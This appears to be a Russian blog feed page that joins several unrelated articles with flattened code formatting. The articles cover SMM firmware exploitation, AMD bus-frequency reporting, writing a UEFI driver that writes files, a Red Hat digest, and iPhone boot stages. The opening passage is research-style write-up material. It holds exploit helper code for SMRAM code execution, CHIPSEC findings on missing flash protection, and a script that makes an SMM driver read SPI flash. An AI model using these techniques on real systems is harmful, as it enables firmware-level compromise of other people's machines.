import rePUSH_RSI_PUSH_RDI = b'\x56\x57'REP_MOVSQ = b'\xf3\x48\xa5'# ищем rep movsqfor m in re.finditer(REP_MOVSQ, usbrt):    rep_off = m.start()    # теперь в обратном направлении push rsi; push rdi (начало функции)    entry_off = usbrt.rfind(PUSH_RSI_PUSH_RDI, 0, rep_off)    # на всякий случай проверяем разницу между найденными опкодами    if rep_off - entry_off > 0x40:        # не походит на правду, пропустим от греха подальше        continue    memcpy = imagebase + entry_off    break

Теперь в нашем арсенале полностью автоматизированный эксплоит, позволяющий не только исполнять код внутри SMRAM, но и произвольно читать и писать в любую область физической памяти.

Куда двигаться дальше

Возможность свободно взаимодействовать с памятью SMRAM - это, конечно, здорово. Но без возможности закрепиться в прошивке полноценная атака не получится, поскольку после перезагрузки системы память сбросится, очевидно. Следующим шагом будет поиск возможности модифицировать прошивку, которая хранится в SPI флеш-памяти.

В первую очередь стоит ознакомиться с результатами тестов CHIPSEC, которые покажут наличие защитных функций флеш-памяти:

[*] running module: chipsec.modules.common.bios_wp[x][ =======================================================================[x][ Module: BIOS Region Write Protection[x][ =======================================================================[*] BC = 0x00000A8A << BIOS Control (b:d.f 00:31.5 + 0xDC)    [00] BIOSWE           = 0 << BIOS Write Enable    [01] BLE              = 1 << BIOS Lock Enable    [02] SRC              = 2 << SPI Read Configuration    [04] TSS              = 0 << Top Swap Status    [05] SMM_BWP          = 0 << SMM BIOS Write Protection    [06] BBS              = 0 << Boot BIOS Strap    [07] BILD             = 1 << BIOS Interface Lock Down[!] Enhanced SMM BIOS region write protection has not been enabled (SMM_BWP is not used)[*] BIOS Region: Base = 0x00700000, Limit = 0x00FFFFFFSPI Protected Ranges------------------------------------------------------------PRx (offset) | Value    | Base     | Limit    | WP? | RP?------------------------------------------------------------PR0 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0PR1 (88)     | 00000000 | 00000000 | 00000000 | 0   | 0PR2 (8C)     | 00000000 | 00000000 | 00000000 | 0   | 0PR3 (90)     | 00000000 | 00000000 | 00000000 | 0   | 0PR4 (94)     | 00000000 | 00000000 | 00000000 | 0   | 0[!] None of the SPI protected ranges write-protect BIOS region[!] BIOS should enable all available SMM based write protection mechanisms or configure SPI protected ranges to protect the entire BIOS region[-] FAILED: BIOS is NOT protected completely

По результатам тестов можно понять, что в системе действует защита BIOSWE=0 + BLE=1. Это означает, что стандартными функциями записи во флеш-память (доступны в CHIPSEC) у нас не получится что-либо изменить в прошивке. Механизм SPI Protected Ranges не сконфигурирован на этой системе. Это значит, что мы могли бы внести изменения при помощи модуля SMM. Однако, есть еще два механизма, которые могут помешать нам это сделать.

CHIPSEC не может проверить наличие этих механизмов, но в нашей системе они существуют. Эти механизмы - Intel BIOS Guard и Intel Boot Guard. Первый механизм не даст нам произвести запись в кодовые регионы BIOS, а второй, при условии, что мы все же смогли переписать BIOS, не позволит модифицированной прошивке загрузиться при запуске системы.
Но мы все же рассмотрим как можно работать с SPI посредством SMM-драйвера.

Возвращаемся к UEFITool и ищем модуль, название которого как-то связано с Flash и SMI. Идеальным кандидатом является модуль FlashSmiSmm. При его детальном изучении в дизассемблере может сложиться впечатление, что он не регистрирует никаких software прерываний, в нем даже EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID не фигурирует! На самом деле этот модуль регистрирует другой тип software прерывания, который называется ACPI SMI. Чтобы определить место регистрации ACPI SMI в IDA Pro можно воспользоваться функцией "List cross references to..." на поле EFI_SMM_SYSTEM_TABLE2.SmiHandlerRegister в окне структур.

Модуль регистрирует один ACPI SMI, предварительно считав UEFI переменную "FlashSmiBuffer", название которой недвусмысленно говорит о том, что в переменной хранится указатель на буфер для работы с флеш-памятью.

Конкретный ACPI SMI идентифицируется своим GUID, который указывается вторым аргументом функции SmiHandlerRegister (HandlerType). В нашем случае это 4052aca8-8d90-4f5a-bfe8-b895b164e482. Он нам далее понадобится. Теперь рассмотрим непосредственно саму функцию обработчика.

FlashSmiBuffer действительно используется для передачи задачи и аргументов. Если переключить отображение констант на символьное представление, то всё становится более менее очевидно:

  • Fe - Flash Erase

  • Fu - Flash Read (тут чисто логически, не понятно при чем тут "u")

  • Fw - Flash Write

  • Wd - Write Disable

  • We - Write Enable

Осталось лишь написать прототип для работы с SPI флеш-памятью, учитывая то, что обработчик реализован в виде ACPI SMI.

HANDLER_GUID = '4052aca8-8d90-4f5a-bfe8-b895b164e482'flash_addr = 0x200000size = 0x1000output = mem_alloc(size, 0xffffffff)[1]smi_buffer = unpack('<Q', cs.helper.get_EFI_variable('FlashSmiBuffer', HANDLER_GUID))[0]mem_write(smi_buffer, 4, b'FSMI')  # сигнатураmem_write(smi_buffer + 0x28, 2, b'uF')  # команда чтения с флеш-памятиmem_write(smi_buffer + 4, 4, pack('<I', flash_addr))  # адрес флеш-памятиmem_write(smi_buffer + 0x18, 4, pack('<I', size))  # размерmem_write(smi_buffer + 0x90, 4, pack('<I', output))  # выходной буферintr = Interrupts(cs)intr.send_ACPI_SMI(0, 1, intr.find_ACPI_SMI_Buffer(), None, HANDLER_GUID, '')

Таким незатейливым способом мы смогли заставить SMM драйвер прочитать для нас часть прошивки.

Заключение

Препарировать UEFI BIOS довольно интересно, хоть и немного однообразно. Когда надоест искать и находить RCE в SMM, можно переключиться на BIOS Guard и Boot Guard, в которых тоже можно найти кучку уязвимостей, а сам процесс поиска доставит кучу удовольствия. А если и это надоест, то самое время переключиться на изучение самого сложного, что можно найти в современных PC - Intel ME.

Подробнее..

Recovery mode Вы, все еще, меряете FSB сотнями?

04.09.2020 12:07:35 | Автор: admin
Очень многие именно так и поступают последние 15-20 лет. Весь инструментарий(я знаком с HwInfo64 и CPU-Z) именно на это (сотни) и заточен. Но вот, появился у меня процессор на котором я вижу частоту шины 25МГц.

image


HwInfo64
image


И вроде все по честному, пару лет назад именно на них и перешли в АМД(Precision Boost), ими удобно точнее выставлять верхнюю границу рабочей частоты для ЦПУ. Но, тем не менее все (HwInfo64 и CPU-Z) продалжают показывать рабочую частоту исходя из 100МГц!? Поэтому мы видим очень подозрительную рабочую частоту ЦПУ. При заявленной 1500-1000МГц, процессор странным образом работает на 400-600МГц. Прокольчик.

image

CPU-Z
image


Причем этот множитель влияет и на частоту работы памяти, по крайней мере на её ототражаемые в тулсах параметры.

image

Само собой мысли сразу полетели в сторону ProcHot и ThermalThrottling. Но нет, с ними все было в порядке.
Обычно множители частоты целые, максимум чего можно было добиться это 0.5. Вот тут я и обратил внимание, что множитель какой то подозрительно дробный в CPU-Z. Видим и .2, и .3, и .4. В регистр управления такое не поместится. Значит этот множитеь не настоящий, а синтетический. Не из железа он читается, а магическим образом высчитывается и подгоняется под нам всем любые 100МГц. Печально. И действительно, в документации все значения множителей у АМД целые, и опираются на 25МГц. И множители там куда выше, чем привязанные к сотке. Там и 90, и 130 встречаются. И это совсем не потолок.

Желающим копаться в регистрах MSR
Что очень не плохо можно проверить в регистрах MSR
C001006[4-B] биты [7:0]
C0010063 биты [2:0]
C0010293 биты [7:0] и [13:8]


Ладно бы, эти фальшивые цифры рабочих частот, были только на моем железе. Но нет, они же вылазят и на референсных платах(Bilby) от АМД. А датой выхода, этих процессоров на рынок, был первый квартал 2020го.

Причем тесты на производительность, не показывают проседания. Рабочая частота как и заявлено 1500-1000МГц.

Бардак с частотами дополняется тем, что в настройках процессора присутствуют все цифры частот и 25 и 100МГц. И даже немного больше))). Так, например, для REFCLK существует еще и частота 27 МГц. Причем она заявлена как активная на момент после RESET. Тем не менее, всё время в течении выполнения UEFI, активна частота 25МГц. Но фокус, в Виндовс, мы снова видим в регистрах 27МГц!

Хотя, документация от АМД, это совсем другая история. У АМД на нее никогда времени не хватало. Имеем, что имеем. И тому радуемся.

Так о чем же была статья? А не поверите, хочу инструментарий показывающий правду о железе. Вот и на жизнь жалуюсь. Хотя с такой документацией, которой радуют процессоростроители, ждать его прийдется еще не один год. Или, может вы знаете такой инструментарий? Тогда делитесь ссылками в комментариях!

PS и кстати, может кто знает, а почему частота шины показывается как плавающая? В каком месте ее читают или на основе чего синтетически считают. Ведь она не стоит 100 или 25 МГц, а плавает до -3%, но это и не SpreadSpectrum. SpreadSpectrum, ответственнен исключительно за внешние устройства.
Подробнее..

Active Restore С чего начать разработку в UEFI

20.07.2020 16:23:27 | Автор: admin

Всем привет. В рамках проекта от компании Acronis со студентами Университета Иннополис (подробнее о проекте мы уже описали это тут и тут) мы изучали последовательность загрузки операционной системы Windows. Появилась идея исполнять логику даже до загрузки самой ОС. Следовательно, мы попробовали написать что-нибудь для общего развития, для плавного погружения в UEFI. В этой статье мы пройдем по теории и попрактикуемся с чтением и записью на диск в pre-OS среде.


cover


В компании Acronis команд, которые занимаются UEFI, не так много, поэтому я решил разобраться в вопросе самостоятельно. К тому же есть проверенный способ получить огромное количество точных советов совершенно бесплатно и свободно просто начать делать что-либо и выложить это в интернет. Поэтому комментарии и рекомендации под этим постом очень приветствуются! Вторая цель данного поста собрать небольшой дайджест статей о UEFI и помочь двигаться в этом направлении.


Полезные ссылки


Для начала хочу перечислить список источников, которые мне очень помогли. Возможно вам они тоже помогут и ответят на ваши вопросы.


  • В первую очередь это UEFI and EDK II Learning and Development от tianocore. Прекрасно структурированный и иллюстрированный курс, который поможет понять что же происходит в момент загрузки и что такое UEFI. Если вы ищите точную теоретическую информацию по теме, вам туда. Если хочется поскорее перейти к написанию UEFI драйверов, то сразу в Lesson 3.
  • Статьи на хабре раз, два и три. Автору низкий поклон. Это отличное практическое руководство без лишних сложностей для начинающих. Частично в данной статье я буду цитировать эти шедевры, хоть и с небольшими изменениями. Без этих публикаций, было бы значительно тяжелее начать.
  • Для продолжающих рекомендую эту статью и другие этого же автора.
  • Так как мы планируем писать драйвер, очень поможет официальный гайдлайн по написанию драйвера. Наиболее правильные советы будут именно там.
  • Ну и на крайний случай спецификация UEFI.

Немного теории


Хочу напомнить требования и цели проекта Active Restore. Мы планируем приоритизировать файлы в системе для более эффективного восстановления. Для этого нужно запуститься на максимально раннем этапе загрузки ОС. Для понимания наших возможностей в мире UEFI стоит немного углубиться в теорию о том как проходит цикл загрузки. Информация для этой части полностью взята из этого источника, который я постараюсь популярно пересказать.


UEFI


UEFI или Unified Extensible Firmware Interface стал эволюцией Legacy BIOS. В модели UEFI тоже есть базовая система ввода-вывода для взаимодействия с железом, хотя процесс загрузки системы и стал отличаться. UEFI использует GPT (Guid partition table). GPT тесно связана со спецификацией и является более продвинутой моделью для хранения информации о разделах диска. Изменился процесс, но задачи остались прежними: инициализация устройств ввода-вывода и передача управления в код операционной системы. UEFI не только заменяет бльшую часть функций BIOS, но также предоставляет широкий спектр возможности для разработки в pre-OS среде. Хорошее сравнение Legacy BIOS и UEFI есть тут.


arch


В данном представлении BIOS это компонент, обеспечивающий непосредственное общение с железом и является firmware. UEFI это унификация интерфейса железа для операционной системы, что существенно облегчает жизнь разработчикам.


В мире UEFI мы можем разрабатывать драйвера или приложения. Есть специальный подтип приложений загрузчики. Разница лишь в том, что эти приложения не завершаются привычным нам образом. Завершаются они вызовом функции ExitBootServices() и передают управление в операционную систему. Чтобы принять решение какой же драйвер нужен вам, рекомендую заглянуть сюда, чтобы расширить понимание о протоколах и рекомендациях по их использованию.


Dev kits


Небольшой список того, что мы будем использовать в нашей практике:


  • EDKII (Extensible Firmware Interface Development Kit) является свободно распространяемым проектом для разработки UEFI приложений и драйверов, которую и мы будем использовать, по началу не сильно в неё углубляясь.
  • VisualUEFI проект облегчающий разработку в Visual Studio. Больше не нужно заморачиваться с .inf файлами и ковыряться в 100500 скриптах на Python. Все это уже сделано за вас. Внутри можно найти QEMU для запуска нашего кода. В проекте представлены примеры приложения и драйверов.
  • Coreboot комплексный проект для firmware. Его задача помочь разработать решение для старта железа и передачи управления в payload (например UEFI или GRUB), который в свою очередь загрузит операционную систему. В данной статье мы не будем затрагивать coreboot. Оставим его для будущих экспериментов, когда набью руку с EDKII. Возможно правильным вектором развития будет Coreboot + Tianocore UEFI + Windows 7 x64.

Последовательность загрузки


Коротко разберем через какие стадии проходит наша машина, прежде чем мы видим заветный логотип операционной системы. Для этого рассмотрим следующую диаграмму:


boot_seq
Ссылка


Процесс с момента нажатия на кнопку питания на корпусе и до полной готовности UEFI интерфейса называется Platform Initialization и делится он на несколько фаз:


  • Security (SEC) зависит от платформы и процессора, обычно реализована ассемблерными командами, проводит первоначальную инициализацию временной памяти, проверку остальной части платформы на безопасность различными способами.
  • Pre EFI Initialization (PEI) в данной фазе уже начинается работа EFI кода, главная задача загрузка DXE Foundation который будет стартовать DXE драйверов на следующей фазе. На самом деле, тут происходит еще очень много всего, но то, что мы планируем разрабатывать, сюда не пролезет, так что двигаемся дальше.
  • Driver Execution Environment (DXE) на данном этапе начинают стартовать драйвера. Наиболее важная для нас фаза, потому, что наш драйвер тоже будет запущен тут. Данная среда исполнения драйверов и является основным преимуществом над Legacy BIOS. Тут код начинает исполняться параллельно. DXE ведет себя на манер операционной системы. Это позволяет различным компаниям имплементировать свои драйвера. DXE Foundation, развернутый на предыдущей фазе, поочередно находит драйвера, библиотеки и приложения, разворачивает их памяти и исполняет.
  • После этой фазы эстафету принимает Boot Device Selection (BDS). Вы наверняка лично видели данную фазу. Тут происходит выбор на каком устройстве искать приложение загрузчик операционной системы. После выбора начинается переход к операционной системе. DXE boot драйвера начинают выгружаться из памяти. Загрузчик операционной системы наоборот загружается в память с помощью блочного протокола ввода вывода BLOCK_IO. Здесь не все DXE драйвера завершают свою работу. Существуют так называемые runtime драйвера. Им придется на понятной для загруженной операционной системе нотации разметить память, которую они занимают. Иными словами виртуализировать свои адреса в адресное пространство Windows, когда произойдет вызов функции SetVirtualAddressMap(). Как только среда будет готова, Main функция ядра ОС начнет исполнение, а фаза EFI завершится вызовом ExitBootServices(). Контроль полностью передан в операционную систему. Дальше Windows будет решать какие и откуда загрузить дайвера, как читать и писать на диск и что за файловую систему использовать. Картинка обобщающая вышеуказанную последовательность:

image
Ссылка


Классный рассказ о этапах загрузки есть тут.


Подготовка проекта


Пришло время поставить перед собой простую задачу. Мы можем загрузить наш драйвер в DXE фазе, открыть файл на диске и записать в него какие нибудь данные. Задача достаточно простая, чтобы потренироваться.


Как я уже упоминал мы воспользуемся проектом VisualUEFI, однако рекомендую также попробовать способы описанные тут, хотя бы потому, что использовать дебагер легче в описанном по ссылке способе.


Допускаю, что у вас уже есть Visual Studio. В моем случае у меня Visual Studio 2019. Для начала клонируем себе проект VisualUEFI:


git clone --recurse-submodules -j8 https://github.com/ionescu007/VisualUefi.git

Нам понадобится NASM (https://www.nasm.us/pub/nasm/releasebuilds/2.15.02/win64/). Переходим и скачиваем. На момент написания статьи актуальной версией является 2.15.02. После установки убедитесь, что в переменных средах у вас есть NASM_PREFIX, который указывает на папку, в которую был установлен NASM. В моем случае это C:\Program Files\NASM\.


NASM_PREFIX


Соберем EDKII. Для этого открываем EDK-II.sln из \VisualUefi\EDK-II, и просто жмем build на решении. Все проекты в решении должны успешно собраться, и можно переходить к уже готовым примерам. Открываем samples.sln из \VisualUefi\samples. Жмем build на приложении и драйвере, после чего можно запускать QEMU простым нажатием F5.


Shell


Проверяем наш UefiDriver и UefiApplication, именно так называются примеры в решении samples.sln.


Shell> fs1:FS1:\> load UefiDriver.efi

load


Отлично, драйвер не только собрался, но и успешно загрузился. Выполнив команду drivers, мы даже увидим его в списке.


drivers


Если бы в коде мы не возвращали EFI_ACCESS_DENIED в функции UefiUnload, мы бы даже смогли выгрузить наш драйвер, выполнив команду:


FS1:\> unload BA

Теперь вызовем наше приложение:


FS1:\> UefiApplication.efi

app


Написание кода


Рассмотрим код предоставленного нам драйвера. Все начинается с функции UefiMain, которая находится в файле drvmain.c. Мы бы могли назвать точку входа и другим именем, если бы писали драйвер с нуля, указать это можно было бы в .inf файле.


EFI_STATUSEFIAPIUefiUnload (    IN EFI_HANDLE ImageHandle    ){    //    // Do not allow unload    //    return EFI_ACCESS_DENIED;}EFI_STATUSEFIAPIUefiMain (    IN EFI_HANDLE ImageHandle,    IN EFI_SYSTEM_TABLE *SystemTable    ){    EFI_STATUS efiStatus;    //    // Install required driver binding components    //    efiStatus = EfiLibInstallDriverBindingComponentName2(ImageHandle,                                                         SystemTable,                                                         &gDriverBindingProtocol,                                                         ImageHandle,                                                         &gComponentNameProtocol,                                                         &gComponentName2Protocol);    return efiStatus;}

В проекте от нас не требуют регистрировать Unload функцию, так как VisualUEFI это и так уже делает под капотом, нужно просто её объявить. В примере она в этом же файле и называется UefiUnload. В этой функции мы можем написать код, который освободит все занятые нами ресурсы, так как она будет вызвана при выгрузке драйвера. Регистрация Unload функции в проекте VisualUEFI происходит в файле DriverEntryPoint.c, в функции _ModuleEntryPoint.


// _DriverUnloadHandler manages to call UefiUnloadStatus = gBS->HandleProtocol (                    ImageHandle,                    &gEfiLoadedImageProtocolGuid,                    (VOID **)&LoadedImage              );ASSERT_EFI_ERROR (Status);LoadedImage->Unload = _DriverUnloadHandler;

В нашем примере, в функции UefiMain, происходит вызов функции EfiLibInstallDriverBindingComponentName2, которая регистрирует имя нашего драйвера и Driver Binding Protocol. Согласно модели драйверов UEFI, все драйвера устройств должны регистрировать этот протокол для предоставления контроллеру функций Support, Start, Stop. Функция Support отвечает, может ли наш драйвер работать с данным контроллером. Если да, то вызывается функция Start. Подробнее об этом хорошо описано в спецификации (раздел Protocols UEFI Driver Model). В нашем примере функции Support, Start и Stop устанавливают наш кастомный протокол. Его реализация в файле drvpnp.c:


//// EFI Driver Binding Protocol//EFI_DRIVER_BINDING_PROTOCOL gDriverBindingProtocol ={    SampleDriverSupported,    SampleDriverStart,    SampleDriverStop,    10,    NULL,    NULL};//// Install our custom protocol on top of a new device handle//efiStatus = gBS->InstallMultipleProtocolInterfaces(&deviceExtension->DeviceHandle,                                                       &gEfiSampleDriverProtocolGuid,                                                       &deviceExtension->DeviceProtocol,                                                       NULL);//// Bind the PCI I/O protocol between our new device handle and the controller//efiStatus = gBS->OpenProtocol(Controller,                                  &gEfiPciIoProtocolGuid,                                  (VOID**)&childPciIo,                                  This->DriverBindingHandle,                                  deviceExtension->DeviceHandle,                                  EFI_OPEN_PROTOCOL_BY_CHILD_CONTROLLER);

Фукнция EfiLibInstallDriverBindingComponentName2 реализована в файле UefiDriverModel.c, и, на самом деле, очень простая. Она вызывает InstallMultipleProtocolInterfaces из Boot Services (см. Спецификацию стр 210). Данная функция связывает handle (в нашем случае ImageHandle, который мы получили на точке входа) и протокол.


// install component name and bindingStatus = gBS->InstallMultipleProtocolInterfaces (                       &DriverBinding->DriverBindingHandle,                       &gEfiDriverBindingProtocolGuid, DriverBinding,                       &gEfiComponentNameProtocolGuid, ComponentName,                       &gEfiComponentName2ProtocolGuid, ComponentName2,                       NULL                       );

Соответственно, можно, и нужно, в момент выгрузки драйвера, удалить установленные компоненты. Мы сделаем это в нашей функции Unload. Теперь наш драйвер можно будет выгружать по команде unload , или перед передачей управления в операционную систему.

EFI_STATUSEFIAPIUefiUnload (    IN EFI_HANDLE ImageHandle    ){  gBS->UninstallMultipleProtocolInterfaces(    ImageHandle,    &gEfiDriverBindingProtocolGuid, &gDriverBindingProtocol,    &gEfiComponentNameProtocolGuid, &gComponentNameProtocol,    &gEfiComponentName2ProtocolGuid, &gComponentName2Protocol,    NULL  );    //    // Changed from access denied in order to unload in boot    //    return EFI_SUCCESS;}

Как вы могли заметить, в нашем коде мы взаимодействуем с UEFI через глобальное поле gBS (global Boot Services). Также, существует gRT (global Runtime Services), а вместе они являются частью структуры System Table. Источник.


gST = *SystemTable; gBS = gST->BootServices; gRT = gST->RuntimeServices;

Для работы с файлами нам понадобится Simple File System Protocol (см. Спецификацию стр 504). Вызвав функцию LocateProtocol, можно получить на него указатель, хотя более правильный способ перечислить все handles на устройства файловой системы с помощью функции LocateHandleBuffer, и, перебрав все протоколы Simple File System, выбрать подходящий, который позволит нам писать и читать в файл. Пример такого кода тут. А мы же воспользуемся способом проще. У протокола есть всего одна функция, которая позволит нам открыть том.


EFI_STATUSOpenVolume(  OUT EFI_FILE_PROTOCOL** Volume){  EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* fsProto = NULL;  EFI_STATUS status;  *Volume = NULL;  // get file system protocol  status = gBS->LocateProtocol(    &gEfiSimpleFileSystemProtocolGuid,    NULL,    (VOID**)&fsProto  );  if (EFI_ERROR(status))  {    return status;  }  status = fsProto->OpenVolume(    fsProto,    Volume  );  return status;}

Далее, нам необходимо уметь создавать файл и закрывать его. Воспользуемся EFI_FILE_PROTOCOL, в котором есть функции для работы с файловой системой (см. Спецификацию стр 506).


EFI_STATUSOpenFile(  IN  EFI_FILE_PROTOCOL* Volume,  OUT EFI_FILE_PROTOCOL** File,  IN  CHAR16* Path){  EFI_STATUS status;  *File = NULL;  //  from root file we open file specified by path  status = Volume->Open(    Volume,    File,    Path,    EFI_FILE_MODE_CREATE |    EFI_FILE_MODE_WRITE |    EFI_FILE_MODE_READ,    0  );  return status;}EFI_STATUSCloseFile(  IN EFI_FILE_PROTOCOL* File){  //  flush unwritten data  File->Flush(File);  //  close file  File->Close(File);  return EFI_SUCCESS;}

Для записи в файл нам придется вручную двигать каретку. Для этого будем спрашивать размер файла с помощью функции GetInfo.


EFI_STATUSWriteDataToFile(  IN VOID* Buffer,  IN UINTN BufferSize,  IN EFI_FILE_PROTOCOL* File){  UINTN infoBufferSize = 0;  EFI_FILE_INFO* fileInfo = NULL;  //  retrieve file info to know it size  EFI_STATUS status = File->GetInfo(    File,    &gEfiFileInfoGuid,    &infoBufferSize,    (VOID*)fileInfo  );  if (EFI_BUFFER_TOO_SMALL != status)  {    return status;  }  fileInfo = AllocatePool(infoBufferSize);  if (NULL == fileInfo)  {    status = EFI_OUT_OF_RESOURCES;    return status;  }  //    we need to know file size  status = File->GetInfo(    File,    &gEfiFileInfoGuid,    &infoBufferSize,    (VOID*)fileInfo  );  if (EFI_ERROR(status))  {    goto FINALLY;  }  //    we move carriage to the end of the file  status = File->SetPosition(    File,    fileInfo->FileSize  );  if (EFI_ERROR(status))  {    goto FINALLY;  }  //    write buffer  status = File->Write(    File,    &BufferSize,    Buffer  );  if (EFI_ERROR(status))  {    goto FINALLY;  }  //    flush data  status = File->Flush(File);FINALLY:  if (NULL != fileInfo)  {    FreePool(fileInfo);  }  return status;}

Вызываем наши функции и пишем случайные данные в наш файл:


EFI_STATUSWriteToFile(  VOID){  CHAR16 path[] = L"\\example.txt";  EFI_FILE_PROTOCOL* file = NULL;  EFI_FILE_PROTOCOL* volume = NULL;  CHAR16 something[] = L"Hello from UEFI driver";  //  //  Open file  //  EFI_STATUS status = OpenVolume(&volume);  if (EFI_ERROR(status))  {    return status;  }  status = OpenFile(volume, &file, path);  if (EFI_ERROR(status))  {    CloseFile(volume);    return status;  }  status = WriteDataToFile(something, sizeof(something), file);  CloseFile(file);  CloseFile(volume);  return status;}

Есть альтернативный способ выполнить нашу задачу. В проекте VisualUEFI уже реализовано то, что мы написали выше. Мы можем просто подключить заголовочный файл ShellLib.h и вызвать в самом начале функцию ShellInitialize. Все необходимые протоколы для работы с файловой системой будут открыты, а функции ShellOpenFileByName, ShellWrite и ShellRead реализованы почти так же, как и у нас.


#include <Library/ShellLib.h>EFI_STATUSWriteToFile2(  VOID){  SHELL_FILE_HANDLE fileHandle = NULL;  CHAR16 path[] = L"fs1:\\example2.txt";  CHAR16 something[] = L"Hello from UEFI driver";  UINTN writeSize = sizeof(something);  EFI_STATUS status = ShellInitialize();  if (EFI_ERROR(status))  {    return status;  }  status = ShellOpenFileByName(path,    &fileHandle,    EFI_FILE_MODE_CREATE |    EFI_FILE_MODE_WRITE |    EFI_FILE_MODE_READ,    0);  if (EFI_ERROR(status))  {    return status;  }  status = ShellWriteFile(fileHandle, &writeSize, something);  ShellCloseFile(&fileHandle);  return status;}

Результат:


result


Код этого примера на github


Если мы хотим перейти в VMWare, то наиболее правильным будет модификация firmware с помощью UEFITool. Например тут демонстрируется как добавляют NTFS драйвер в UEFI.


Выводы


Усложнить идею нашего драйвера и ближе подвести его под требования проекта Active Restore можно следующим образом: открыть протокол BLOCK_IO, заменить функции чтения на диск нашими функциями, которые запишут данные, читаемые с диска в лог и затем вызовут оригинальные функции. Сделать это можно следующим образом:


// just pseudo code...// open protocol to replace callbacksgBS->OpenProtocol(      Controller,      Guid,      (VOID**)&protocol,      DriverBindingHandle,      Controller,      EFI_OPEN_PROTOCOL_GET_PROTOCOL    );// raise Task Priority Level to max avaliablegBS->RaiseTPL(TPL_NOTIFY);VOID** protocolBase = EFI_FIELD_BY_OFFSET(VOID**, FilterContainer, 0);VOID** oldCallback = EFI_FIELD_BY_OFFSET(VOID**, *protocolBase, oldCallbackOffset);VOID** originalCallback = EFI_FIELD_BY_OFFSET(VOID**, FilterContainer, originalCallbackOffset);//  yes, I know that it is not super obvious//  but if first and third is equal (placeholder and function)//  then the first one is not the function it is offset!//  and function itself is by offset of third oneif ((UINTN) newCallback == originalCallbackOffset){  newCallback = *originalCallback;}PRINT_DEBUG(DEBUG_INFO, L"[UefiMonitor] 0x%x -> 0x%x\n", *oldCallback, newCallback);//saving original functions*originalCallback = *oldCallback;//replacing them by filter function*oldCallback = newCallback;// restore TPLgBS->RestoreTPL(oldTpl);

Нужно будет не забыть подписаться на ExitBootServices(), чтобы вернуть указатели на место. После того, как фильтр файловой системы в Windows будет готов, минифильтр продолжит логировать чтение с диска.


// event on exitgBS->CreateEvent(      EVT_SIGNAL_EXIT_BOOT_SERVICES,      TPL_NOTIFY,      ExitBootServicesNotifyCallback,      NULL,      &mExitBootServicesEvent    );

Но это это уже идеи для будущих статей. Спасибо за внимание.

Подробнее..

Пишем Hello World на WebAssembly, шпаргалка по Linux-команде sed, а также 15 самых востребованных ИТ-сертификатов года

08.04.2021 18:23:51 | Автор: admin

И вновь мы приготовили для вас много инсайтов, мероприятий, книжек и шпаргалок. Оставайтесь с нами станьте частью DevNation!

Узнать новое:

Скачать:

  • Шпаргалка по Linux-команде sed
    SED (Stream EDitor) это потоковый текстовый редактор, который построчно обрабатывает входной поток (файл).

  • Бесплатный Developer Sandbox for OpenShift
    Это ваш личный OpenShift в облаке, всего за пару минут и без какой бы то ни было инсталляции. Среда создана специально для разработчиков и включает в себя Helm-диаграммы, builder-образы Red Hat, инструменты сборки s2i, также CodeReady Workspaces, облачную IDE с веб-интерфейсом.

Почитать на досуге:

Мероприятия:

  • Виртуальный Red Hat Summit 2021, 27-28 апреля
    Бесплатная онлайн-конференция Red Hat Summit это отличный способ узнать последние новости ИТ-индустрии, задать свои вопросы техническим экспертам, услышать истории успеха непосредственно от заказчиков Red Hat и увидеть, как открытый код генерирует инновации в корпоративном секторе

Подробнее..

Процесс загрузки iPhone. Часть 1 Boot ROM

10.05.2021 18:20:09 | Автор: admin

Здравствуйте, коллеги.

Мне показалось интересным поделиться ссообществом информацией овнутреннем устройстве техники Apple, так как статей наэту тему крайне мало. Начать ярешил сiPhone. Поэтому предлагаю вам вместе сомной попробовать разобраться вработе этого загадочного девайса.

Япопытаюсь ориентироваться насамые последние модели. Буду рад, если ваши комментарии укажут наошибки ипомогут нам всем лучше понять, как работают устройства, которые нас окружают.

Введение

Незнаю, удивит это кого-нибудь или нет, нозапуск iPhone мало чем отличается отпроцесса запуска IBM-PC-совместимого компьютера ввиде системного блока под столом, окотором написано уже достаточно много. Наверное поэтому так мало статей наподобную тематику, относящихся кмобильным устройствам.

Если смотреть напроцесс запуска iPhone, как нацелостную картину, тоонпредставляет собой цепочку доверительных переходов отодной стадии загрузки кдругой, которая так иназывается Chain oftrust. Вобщем случае, впроцессе участвуют 3независимых программы: Boot ROM, iBoot иядро XNU (расположены впорядке выполнения). Передача управления отодного кдругому происходит после проверки подлинности того, кому управление следует передать. Каждый изних имеет криптографическую подпись Apple. Возникает резонный вопрос: как проверяется подлинность первого шага? Ответ: никак.

Самым первым получает управление Boot ROM. Онявляется неизменяемым компонентом системы, прошивается назаводе-изготовителе ибольше неменяется. Его невозможно обновить (вотличие отBIOS иUEFI). Следовательно, нет смысла проверять его подлинность. Поэтому онимеет соответствующий статус: Аппаратный корень доверия (Hardware root oftrust). Впамять Boot ROM вшивается публичный ключ корневого сертификата Apple (Apple Root certificate authority (CA) public key), спомощью которого проверяется подлинность iBoot. Всвою очередь iBoot проверяет своим ключом подлинность ядра XNU. Такая цепочка проверок позволяет запускать только доверенноеПО.

Chain of trustChain of trust

Поестественным причинам, слабым местом вэтой цепочке является код Boot ROM. Именно засчет уязвимостей вэтой части системы иневозможности еёобновить, удаётся обходить проверку подлинности ипроизводить Jailbreak (побег изтюрьмы). Поэтому разработчики Boot ROM стараются невключать внего лишний функционал. Тем самым сокращается вероятность возникновения ошибок вкоде, поскольку оностается минималистичным. Собранный образ имеет размер около 150Кбайт. Каждый этап отрабатывает независимо отдругих, позаранее известным адресам ивыполняет четко обозначенную задачу. Несмотря наэто прошивка Boot ROM иiBoot компилируются изодной кодовой базы. Поэтому имеют схожие подсистемы. Они делят между собой базовые драйверы устройств (AES, ANC, USB), примитивные абстракции (подсистема задач, куча), библиотеки (env, libc, image), средства отладки иплатформозависимый код (работа сSoC, MMU, NAND). Каждый последующий элемент цепочки является более сложной системой, чем предыдущий. Например iBoot уже поддерживает файловые системы, работу сизображениями, дисплей ит.д.

Для лучшего понимания описываемых компонентов приведу таблицу.

Задача

Проверка подписи

Известные аналоги

Место исполнения

1. Boot ROM

Найти загрузчик и передать ему управление

Нет

BIOS, UEFI, coreboot

SRAM

2. iBoot

Найти ОС и инициировать её загрузку

Да

GNU GRUB, Windows Bootmgr, efibootmgr

SDRAM

3. XNU

Обеспечить безопасный интерфейс к железу

Да

Linux, NT kernel, GNU Hurd

SDRAM

4. iOS

